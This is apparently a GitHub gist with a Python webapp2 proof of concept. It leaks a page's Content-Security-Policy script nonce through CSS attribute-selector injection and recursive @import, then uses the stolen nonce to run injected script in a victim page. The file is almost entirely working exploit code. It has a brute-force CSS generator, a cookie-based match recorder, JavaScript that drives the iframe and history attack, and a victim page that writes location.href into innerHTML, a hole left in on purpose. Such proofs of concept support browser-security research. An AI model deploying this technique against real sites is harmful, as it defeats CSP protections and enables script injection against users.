import random | |
import time | |
import webapp2 | |
class RecordHandler(webapp2.RequestHandler): | |
def get(self): # pylint:disable-msg=invalid-name | |
"""Handle requests from CSS rules.""" | |
if self.request.get('reset'): | |
self.response.delete_cookie('oldmatch') | |
elif self.request.get('finish'): | |
self.response.delete_cookie('oldmatch') | |
self.response.set_cookie('finish', self.request.get('finish')) | |
else: | |
newmatch = self.request.get('newmatch','') | |
oldmatch = self.request.cookies.get('oldmatch','') | |
self.response.set_cookie('oldmatch', oldmatch+','+newmatch) | |
self.response.write(newmatch) | |
class ImportHandler(webapp2.RequestHandler): | |
alphabet = 'abcdefghijklmnopqrstuvwxyz' | |
subTemplate = 'script[nonce^="%(match)s"]:after{content: url("record?newmatch=%(match)s");display: block;}' | |
extTemplate = 'script[nonce="%(match)s"]:after{content: url("record?finish=%(match)s");display: block;}' | |
def get_bruteforce(self, oldmatch): | |
output = self.extTemplate%({"match":oldmatch}) | |
for i in range(len(self.alphabet)): | |
output += self.subTemplate%({"match":oldmatch+self.alphabet[i]}) | |
return output | |
def get(self): # pylint:disable-msg=invalid-name | |
"""Handle requests from @import rules.""" | |
sleep = int(self.request.get('sleep','0')) | |
if sleep: | |
time.sleep(sleep) | |
self.redirect('?sleep=0&r='+str(random.random())) | |
return | |
oldmatch = self.request.cookies.get('oldmatch','') | |
lastmatch = oldmatch.split(',').pop() | |
prefix='script{display:block!important;}' | |
bruteforce=self.get_bruteforce(lastmatch) | |
self.response.content_type='text/css' | |
self.response.write('%s\n%s'%(prefix,bruteforce)) | |
class ExploitHandler(webapp2.RequestHandler): | |
def get(self): # pylint:disable-msg=invalid-name | |
"""Handle requests from CSS rules.""" | |
if self.request.get('reset'): | |
self.response.delete_cookie('finish') | |
self.response.delete_cookie('oldmatch') | |
self.response.write("""\ | |
<script> | |
var waitForNonce = new Promise(function(resolve, reject){ | |
var finishInterval = setInterval(function(){ | |
if (document.cookie.match(/finish=([^;]+)/)){ | |
clearInterval(finishInterval); | |
clearInterval(matchInterval); | |
console.log('Found the nonce!', RegExp.$1); | |
resolve(RegExp.$1); | |
clearInterval(attackInterval); | |
} | |
}, 500); | |
var matchInterval = setInterval(function(){ | |
if (document.cookie.match(/match=([^;]+)/)){ | |
console.log('match!', RegExp.$1.split(/,/).pop(), RegExp.$1); | |
} | |
}, 500); | |
}); | |
function iterate(){ | |
frames[0].location.href="victim#<style>@import url(/import?r="+Math.random()+");</style>"; | |
setTimeout(function(){ | |
document.links[0].click(); | |
},500); | |
} | |
if (parent==self) { | |
var iterateNext=1; | |
var attackInterval = setInterval(function() { | |
if(iterateNext==1)iterate(); | |
iterateNext--; | |
},100); | |
} | |
</script> | |
<a href="data:text/html,<script>history.back()</script>" target="foo"></a> | |
<iframe name="foo" onload="iterateNext=10;"></iframe> | |
<script> | |
if (parent==self) { | |
waitForNonce.then(n=>{ | |
setTimeout(()=>{ | |
frames[0].location.href="victim#<iframe srcdoc='<script nonce="+n+">alert(1337)<\/script>'></iframe>"; | |
setTimeout(function(){ | |
document.links[0].click(); | |
},500); | |
},1337); | |
}); | |
} else { | |
waitForNonce.then(n=>parent.postMessage(n,"*")); | |
} | |
</script> | |
""") | |
class VictimHandler(webapp2.RequestHandler): | |
def get(self): # pylint:disable-msg=invalid-name | |
"""Handle victim role.""" | |
if self.request.get('reset'): | |
self.response.delete_cookie('finish') | |
self.response.delete_cookie('oldmatch') | |
nonce = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(8)) | |
self.response.headers.add('content-security-policy', "default-src 'none';script-src 'nonce-%s' 'strict-dynamic'; style-src 'unsafe-inline' *; img-src *;"%nonce); | |
self.response.write("""\ | |
<body> | |
<div id=victim></div> | |
<script nonce=%s> | |
document.getElementById('victim').innerHTML=location.href; | |
</script> | |
</body> | |
"""%nonce) | |
APP = webapp2.WSGIApplication([ | |
('/record', RecordHandler), | |
('/import', ImportHandler), | |
('/exploit', ExploitHandler), | |
('/victim', VictimHandler), | |
], debug=True) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment